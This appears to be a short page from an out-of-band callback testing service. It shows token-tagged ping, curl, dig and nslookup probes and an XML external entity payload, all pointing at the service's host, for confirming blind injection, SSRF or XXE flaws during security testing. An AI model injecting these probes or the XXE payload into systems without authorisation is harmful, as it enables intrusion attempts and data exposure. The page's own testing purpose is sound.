$ ping -c1 -p 00909d6af85bc17bca13ead6a01fc100 unhack.ca
 
$ curl http://unhack.ca/p/909d6af85bc17bca13ead6a01fc1
 
$ dig 909d6af85bc17bca13ead6a01fc1 @unhack.ca
 
$ dig 909d6af85bc17bca13ead6a01fc1.ns.unhack.ca
 
C:\> nslookup 909d6af85bc17bca13ead6a01fc1 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/909d6af85bc17bca13ead6a01fc1">]>
    <foo>&xxe;</foo>
Waiting for ping...